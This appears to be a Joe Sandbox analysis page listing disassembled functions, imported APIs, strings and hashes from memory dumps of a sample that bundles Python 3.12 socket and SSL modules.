Associated: 00000001.00000002.2090271176.00007FFE13229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090290826.00007FFE13231000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090308604.00007FFE13233000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13220000_file.jbxd

Similarity

API ID: Buffer_Err_Release$Arg_CheckDeadline_ParseSignalsSizeStringTuple_
String ID: timed out$y*|i:sendall
API String ID: 1463051379-3431350491
Opcode ID: 00d1fe47f6855c3b5d42d86fbf0b7457282001a731998b6d4c743e6650992aaa
Instruction ID: cc6503eec171370daf79b6e2539a9a6cc59188a2f1eef897ec76968f49970043
Opcode Fuzzy Hash: 00d1fe47f6855c3b5d42d86fbf0b7457282001a731998b6d4c743e6650992aaa
Instruction Fuzzy Hash: C741D832A08A828AE731AF17FC406A9B360FB94BA4F544076DE4D63B65DE7CE455C700

Function 00007FFE13224484 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 77networkthreadCOMMON

Download Yara Rule

APIs

PyEval_SaveThread.PYTHON312 ref: 00007FFE132244A2
connect.WS2_32 ref: 00007FFE132244B5
PyEval_RestoreThread.PYTHON312 ref: 00007FFE132244C0
WSAGetLastError.WS2_32 ref: 00007FFE132244CE
WSAGetLastError.WS2_32 ref: 00007FFE132244DA
PyErr_CheckSignals.PYTHON312 ref: 00007FFE132244E7
WSASetLastError.WS2_32 ref: 00007FFE13224501

Strings

3', xrefs: 00007FFE1322451A

Memory Dump Source

Source File: 00000001.00000002.2090249491.00007FFE13221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFE13220000, based on PE: true

Associated: 00000001.00000002.2090229169.00007FFE13220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090271176.00007FFE13229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090290826.00007FFE13231000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090308604.00007FFE13233000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13220000_file.jbxd

Similarity

API ID: ErrorLast$Eval_Thread$CheckErr_RestoreSaveSignalsconnect
String ID: 3'
API String ID: 4284410693-280543908
Opcode ID: ed0aa6f5daee608154e3db044a1abba8314d7115e20110d062241df6d74eb585
Instruction ID: 7af8a5414991c3ea9a1204b55f14f5168eec16eabbacf2e8c178dc2c0af6176c
Opcode Fuzzy Hash: ed0aa6f5daee608154e3db044a1abba8314d7115e20110d062241df6d74eb585
Instruction Fuzzy Hash: D431FE21B08F428EE7706F67BC445B966A0ABF4BA4F140175EA9E767B5DF3CE460C600

Function 00007FFE11ECA3E4 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

_PyArg_UnpackKeywords.PYTHON312 ref: 00007FFE11ECA435
_PyArg_BadArgument.PYTHON312 ref: 00007FFE11ECA46E
PyUnicode_AsUTF8AndSize.PYTHON312 ref: 00007FFE11ECA47B
PyErr_SetString.PYTHON312 ref: 00007FFE11ECA4AD

Strings

embedded null character, xrefs: 00007FFE11ECA4A3
str, xrefs: 00007FFE11ECA459
argument 'store_name', xrefs: 00007FFE11ECA467
enum_certificates, xrefs: 00007FFE11ECA460

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Arg_$ArgumentErr_KeywordsSizeStringUnicode_Unpack
String ID: argument 'store_name'$embedded null character$enum_certificates$str
API String ID: 2966986319-2881692381
Opcode ID: a558f2bdd249397dd286bc219144cd5c93b06eceeca69e4e7d8f6477897cac66
Instruction ID: 96687bb0359bf0fe233f44a84cddd949be1506cb22ea7be49cf3103ef8523569
Opcode Fuzzy Hash: a558f2bdd249397dd286bc219144cd5c93b06eceeca69e4e7d8f6477897cac66
Instruction Fuzzy Hash: ED215A61A09E4285EF108B96EC4437AA3A9FB84BA4F8441B6D91E423B4EF3DF544C740

Function 00007FFE11EC6EE8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

PyType_GetModuleByDef.PYTHON312 ref: 00007FFE11EC6F0E
PyModule_GetState.PYTHON312 ref: 00007FFE11EC6F17
_PyArg_NoKeywords.PYTHON312 ref: 00007FFE11EC6F44
_PyArg_CheckPositional.PYTHON312 ref: 00007FFE11EC6F67
_PyLong_AsInt.PYTHON312 ref: 00007FFE11EC6F75
PyErr_Occurred.PYTHON312 ref: 00007FFE11EC6F82

Strings

_SSLContext, xrefs: 00007FFE11EC6F3D, 00007FFE11EC6F60

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Arg_$CheckErr_KeywordsLong_ModuleModule_OccurredPositionalStateType_
String ID: _SSLContext
API String ID: 3264916389-1468230856
Opcode ID: c64405a7b27c56aaf44971f44464ecaac7446b0669db094c4bdbdc9adda6c775
Instruction ID: a035782f551de7c595d507a87cc4a69ebca93c0d5fe6318c1f63f68da4157636
Opcode Fuzzy Hash: c64405a7b27c56aaf44971f44464ecaac7446b0669db094c4bdbdc9adda6c775
Instruction Fuzzy Hash: C1213E21B09E4285EB549FA7EC4027B63A9AF48BE0FC844B0DD1D47BB4DE6DF4818700

Function 00007FFE1322599C Relevance: 10.6, APIs: 7, Instructions: 103COMMON

Download Yara Rule

APIs

_PyArg_UnpackKeywords.PYTHON312 ref: 00007FFE13225A2C
_PyLong_AsInt.PYTHON312 ref: 00007FFE13225A4B
PyErr_Occurred.PYTHON312 ref: 00007FFE13225A58
_PyLong_AsInt.PYTHON312 ref: 00007FFE13225A72
PyErr_Occurred.PYTHON312 ref: 00007FFE13225A7F
_PyLong_AsInt.PYTHON312 ref: 00007FFE13225A99
PyErr_Occurred.PYTHON312 ref: 00007FFE13225AA7

Memory Dump Source

Source File: 00000001.00000002.2090249491.00007FFE13221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFE13220000, based on PE: true

Associated: 00000001.00000002.2090229169.00007FFE13220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090271176.00007FFE13229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090290826.00007FFE13231000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090308604.00007FFE13233000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13220000_file.jbxd

Similarity

API ID: Err_Long_Occurred$Arg_KeywordsUnpack
String ID:
API String ID: 591546834-0
Opcode ID: eaa410074ab6af26ceaef7c7596cb67db9cb42dc3dbf0cc41afd0b861dd1535a
Instruction ID: 34e75558709daab5493b7d26d390164e8823386f89296b6e777c27ac787481aa
Opcode Fuzzy Hash: eaa410074ab6af26ceaef7c7596cb67db9cb42dc3dbf0cc41afd0b861dd1535a
Instruction Fuzzy Hash: 7341A621B0AE418AFE70BB27B845374A290BFA4BB0F258675DD1E237A0DF3CE454C240

Function 00007FFE13243A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

PyFrozenSet_New.PYTHON312 ref: 00007FFE13243A9B
EVP_MD_do_all_provided.LIBCRYPTO-3 ref: 00007FFE13243AC1
PyModule_AddObject.PYTHON312 ref: 00007FFE13243AE1
_Py_Dealloc.PYTHON312 ref: 00007FFE13245538

Strings

openssl_md_meth_names, xrefs: 00007FFE13243AD7

Memory Dump Source

Source File: 00000001.00000002.2090345635.00007FFE13241000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE13240000, based on PE: true

Associated: 00000001.00000002.2090326739.00007FFE13240000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2090364978.00007FFE13247000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2090388135.00007FFE1324C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2090407450.00007FFE1324E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13240000_file.jbxd

Similarity

API ID: D_do_all_providedDeallocFrozenModule_ObjectSet_
String ID: openssl_md_meth_names
API String ID: 4100423519-1600430994
Opcode ID: 5b6e10f2f0a00b63709425fc6a0d031263158d93ab584c08f44f7e0f9b367ce1
Instruction ID: 03b882968a2d694d7b73ec0a8ebaac8515a439eb7fc3c2eebac7452ac90a1211
Opcode Fuzzy Hash: 5b6e10f2f0a00b63709425fc6a0d031263158d93ab584c08f44f7e0f9b367ce1
Instruction Fuzzy Hash: 9101443290CE42CAE7246B26E8052796360FFE8778F540575DAAFA55B0DF7DD154C700

Function 00007FFE11ECC5C4 Relevance: 7.6, APIs: 5, Instructions: 64encryptionCOMMON

Download Yara Rule

APIs

CertOpenStore.CRYPT32 ref: 00007FFE11ECC5EF
CertOpenStore.CRYPT32 ref: 00007FFE11ECC622
CertAddStoreToCollection.CRYPT32 ref: 00007FFE11ECC63D
CertCloseStore.CRYPT32 ref: 00007FFE11ECC64A
CertCloseStore.CRYPT32 ref: 00007FFE11ECC672

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: CertStore$CloseOpen$Collection
String ID:
API String ID: 1995843185-0
Opcode ID: a97086b591f17b9b18d84e901abd29b842c6a21da91c0b4f271a3da55d1070b3
Instruction ID: c27aa2c09a51f84c2516e5692d21b87ccbab76d70fae54172bb5acf469f4dcdc
Opcode Fuzzy Hash: a97086b591f17b9b18d84e901abd29b842c6a21da91c0b4f271a3da55d1070b3
Instruction Fuzzy Hash: FF21C532B08A5586EB14CFA7ED0476A6256FB84FA0F848470DD1D03764EF3DF5568700

Function 00007FFE13225338 Relevance: 6.0, APIs: 4, Instructions: 29threadCOMMON

Download Yara Rule

APIs

PyEval_SaveThread.PYTHON312 ref: 00007FFE1322535C
closesocket.WS2_32 ref: 00007FFE13225368
PyEval_RestoreThread.PYTHON312 ref: 00007FFE13225373
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE13225382

Memory Dump Source

Source File: 00000001.00000002.2090249491.00007FFE13221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFE13220000, based on PE: true

Associated: 00000001.00000002.2090229169.00007FFE13220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090271176.00007FFE13229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090290826.00007FFE13231000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090308604.00007FFE13233000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13220000_file.jbxd

Similarity

API ID: Eval_Thread$RestoreSave_errnoclosesocket
String ID:
API String ID: 1624953543-0
Opcode ID: 469834960f5fb333051253006ecc6c4dbb46e8df025279c03e012d890aa341a8
Instruction ID: 19fac82c1ce789d3942d930d34402b9f0318ed59cb3cc0fec85cb0c4d77ae49a
Opcode Fuzzy Hash: 469834960f5fb333051253006ecc6c4dbb46e8df025279c03e012d890aa341a8
Instruction Fuzzy Hash: 81F01D62B08F41CAE6746B57B8444687364BBA9BB1B185370DA7A137F0CF7CD495C600

Function 00007FFE004C74A0 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

ERR_set_mark.LIBCRYPTO-3 ref: 00007FFE004C74CC
OBJ_nid2sn.LIBCRYPTO-3 ref: 00007FFE004C74D3
EVP_CIPHER_fetch.LIBCRYPTO-3 ref: 00007FFE004C74E1
ERR_pop_to_mark.LIBCRYPTO-3 ref: 00007FFE004C74E9

Memory Dump Source

Source File: 00000001.00000002.2089592592.00007FFE004A1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFE004A0000, based on PE: true

Associated: 00000001.00000002.2089574301.00007FFE004A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089592592.00007FFE00522000.00000020.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089664904.00007FFE00524000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089693081.00007FFE0054C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089714366.00007FFE00551000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089714366.00007FFE00557000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.2089714366.00007FFE0055F000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe004a0000_file.jbxd

Similarity

API ID: J_nid2snR_fetchR_pop_to_markR_set_mark
String ID:
API String ID: 2772354928-0
Opcode ID: 9d6a64450acf58a63a50e4c19100a97fdf4d2fc7c8484d09c1bb12015f6b24b3
Instruction ID: ab79f0836e06f1b46718ec654604af5c1486645a9b7d2bc9e14b5ad5c3f23159
Opcode Fuzzy Hash: 9d6a64450acf58a63a50e4c19100a97fdf4d2fc7c8484d09c1bb12015f6b24b3
Instruction Fuzzy Hash: 92F0A011B0D79141EA54776668411FD99429F99BC0F084434FF4D47BBFDE2CE4510704

Function 00007FFE132253A4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE13223DD0: PyErr_Format.PYTHON312 ref: 00007FFE13224154

PySys_Audit.PYTHON312 ref: 00007FFE132253FC

Part of subcall function 00007FFE13224484: PyEval_SaveThread.PYTHON312 ref: 00007FFE132244A2
Part of subcall function 00007FFE13224484: connect.WS2_32 ref: 00007FFE132244B5
Part of subcall function 00007FFE13224484: PyEval_RestoreThread.PYTHON312 ref: 00007FFE132244C0
Part of subcall function 00007FFE13224484: WSAGetLastError.WS2_32 ref: 00007FFE132244CE
Part of subcall function 00007FFE13224484: WSAGetLastError.WS2_32 ref: 00007FFE132244DA
Part of subcall function 00007FFE13224484: PyErr_CheckSignals.PYTHON312 ref: 00007FFE132244E7
Part of subcall function 00007FFE13224484: WSASetLastError.WS2_32 ref: 00007FFE13224501

Strings

socket.connect, xrefs: 00007FFE132253F5
connect, xrefs: 00007FFE132253C3

Memory Dump Source

Source File: 00000001.00000002.2090249491.00007FFE13221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFE13220000, based on PE: true

Associated: 00000001.00000002.2090229169.00007FFE13220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090271176.00007FFE13229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090290826.00007FFE13231000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090308604.00007FFE13233000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13220000_file.jbxd

Similarity

API ID: ErrorLast$Err_Eval_Thread$AuditCheckFormatRestoreSaveSignalsSys_connect
String ID: connect$socket.connect
API String ID: 2206401578-326844852
Opcode ID: f61d2d1e51494460e737621043c48afaf6b2b37121598ef846ec6ce56cffa346
Instruction ID: a423e56fe07decc04b239c942adec434e4db83129b78bdc6b1bcfedabca9b45a
Opcode Fuzzy Hash: f61d2d1e51494460e737621043c48afaf6b2b37121598ef846ec6ce56cffa346
Instruction Fuzzy Hash: 6C115E21708E8289E630AB13FC507A6A360BFE47D4F505072EE4D67A65DE2CE110C700

Function 00007FFE11EC8BB0 Relevance: 4.5, APIs: 3, Instructions: 28threadCOMMON

Download Yara Rule

APIs

PyEval_SaveThread.PYTHON312 ref: 00007FFE11EC8BC2
SSL_CTX_set_default_verify_paths.LIBSSL-3 ref: 00007FFE11EC8BCF
PyEval_RestoreThread.PYTHON312 ref: 00007FFE11EC8BDA

Part of subcall function 00007FFE11EC6598: ERR_peek_last_error.LIBCRYPTO-3 ref: 00007FFE11EC65B0
Part of subcall function 00007FFE11EC6598: ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE11EC65D9

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Eval_Thread$R_clear_errorR_peek_last_errorRestoreSaveX_set_default_verify_paths
String ID:
API String ID: 4060370505-0
Opcode ID: d154ee78554696c5a04ffa3f83bf8af7b71026d6fd9de1c8cc17317fb7e53ab4
Instruction ID: 9b252128591b4b4f94ac8047d904e37289f6e51393a0bbce6e2b37a65b01705c
Opcode Fuzzy Hash: d154ee78554696c5a04ffa3f83bf8af7b71026d6fd9de1c8cc17317fb7e53ab4
Instruction Fuzzy Hash: 8AF04F35A08F9182E7208BA7EC1412B6364FB88BA0B984470DE5D47B28CF3EF4418700

Function 00007FFE11EC8290 Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_PyArg_UnpackKeywords.PYTHON312 ref: 00007FFE11EC8315

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Arg_KeywordsUnpack
String ID:
API String ID: 1409375599-0
Opcode ID: 6cb1fd90222e8ed6d73af5992a05e71a90b08de09c5e51f19d7f0777dc6bec34
Instruction ID: 6c7f8ec649d2ab767b15ddea75a2e4fbca5029141c4830b7641bf628c88cd258
Opcode Fuzzy Hash: 6cb1fd90222e8ed6d73af5992a05e71a90b08de09c5e51f19d7f0777dc6bec34
Instruction Fuzzy Hash: BE218862B09F9285EB548F87AE04E6A6698BB05BF4F890476EE4C17774DE3DF901C700

Function 00007FFE148B4730 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00007FFE148B4493), ref: 00007FFE148B476E

Memory Dump Source

Source File: 00000001.00000002.2090817008.00007FFE148B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.2090792918.00007FFE148B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2090841010.00007FFE148B6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2090865115.00007FFE148B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_file.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: d0030d7d39ed1f1285109f3f3c4a92fc536e9fee5458ecd4838dc556b7ba0fb5
Instruction ID: a1fd3a1c55f043b14613a6f66832a72326c5f6e1350a72cf9edbc1c6444f62ca
Opcode Fuzzy Hash: d0030d7d39ed1f1285109f3f3c4a92fc536e9fee5458ecd4838dc556b7ba0fb5
Instruction Fuzzy Hash: 4DF01DB2108F45D9C702CF1AE45109DB724F756BD5F418A22EE8D53B29CF38C055CB50

Function 00007FFE13226894 Relevance: 1.5, APIs: 1, Instructions: 19networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FFE132268C3

Memory Dump Source

Source File: 00000001.00000002.2090249491.00007FFE13221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFE13220000, based on PE: true

Associated: 00000001.00000002.2090229169.00007FFE13220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090271176.00007FFE13229000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090290826.00007FFE13231000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2090308604.00007FFE13233000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13220000_file.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 857e2324bf16085a4ea68c05b138027c44fdbe11cde1698f6f4c9787cdbcdc49
Instruction ID: 77c5f61808a69c884131c2c9011ef0df086d5106bf7e567cf05aba79ecc94d71
Opcode Fuzzy Hash: 857e2324bf16085a4ea68c05b138027c44fdbe11cde1698f6f4c9787cdbcdc49
Instruction Fuzzy Hash: B2E09AF2A10A4582D7246B12E4402682360F759FB4F245321CE381B3E0CE28C4E1C340

Function 00007FFE148B42E0 Relevance: 1.4, APIs: 1, Instructions: 138COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFE148B4379

Memory Dump Source

Source File: 00000001.00000002.2090817008.00007FFE148B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.2090792918.00007FFE148B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2090841010.00007FFE148B6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2090865115.00007FFE148B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: b007cc5a7efe170316438a21b032e88e071ebebb1f436b5cacc6e359ddb69198
Instruction ID: cec23f332fd53dc1309b599e443235af06d187608aaa7e15405937e64e009275
Opcode Fuzzy Hash: b007cc5a7efe170316438a21b032e88e071ebebb1f436b5cacc6e359ddb69198
Instruction Fuzzy Hash: B7518F72B05F8589DA20CF2AD4815693364FB4AFF8B558272EE2C077A5DF38D459C340

Non-executed Functions

Function 00007FFE11ECBBA0 Relevance: 54.5, APIs: 29, Strings: 2, Instructions: 215threadCOMMON

Download Yara Rule

APIs

_PyObject_GC_New.PYTHON312(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBC3F
ERR_clear_error.LIBCRYPTO-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBC82
PyEval_SaveThread.PYTHON312(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBC88
SSL_new.LIBSSL-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBC94
PyEval_RestoreThread.PYTHON312(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBCA1
_Py_Dealloc.PYTHON312(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBCBE
SSL_get0_param.LIBSSL-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBCDA
X509_VERIFY_PARAM_set_hostflags.LIBCRYPTO-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBCE7
SSL_set_ex_data.LIBSSL-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBCF6
SSL_set_fd.LIBSSL-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBD08
BIO_up_ref.LIBCRYPTO-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBD1C
BIO_up_ref.LIBCRYPTO-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBD2E
SSL_set_bio.LIBSSL-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBD40
SSL_ctrl.LIBSSL-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBD55
SSL_get_verify_mode.LIBSSL-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBD6F
SSL_get_verify_callback.LIBSSL-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBD80
SSL_set_verify.LIBSSL-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBD92
SSL_set_post_handshake_auth.LIBSSL-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBD9C
SSL_get_rbio.LIBSSL-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBDC9
BIO_ctrl.LIBCRYPTO-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBDDE
SSL_get_wbio.LIBSSL-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBDE8
BIO_ctrl.LIBCRYPTO-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBDF9
PyEval_SaveThread.PYTHON312(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBDFF
SSL_set_connect_state.LIBSSL-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBE11
SSL_set_accept_state.LIBSSL-3(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBE19
PyEval_RestoreThread.PYTHON312(?,?,00007FFDFB54D250,?,?,?,00000000,00007FFE11EC7349), ref: 00007FFE11ECBE22
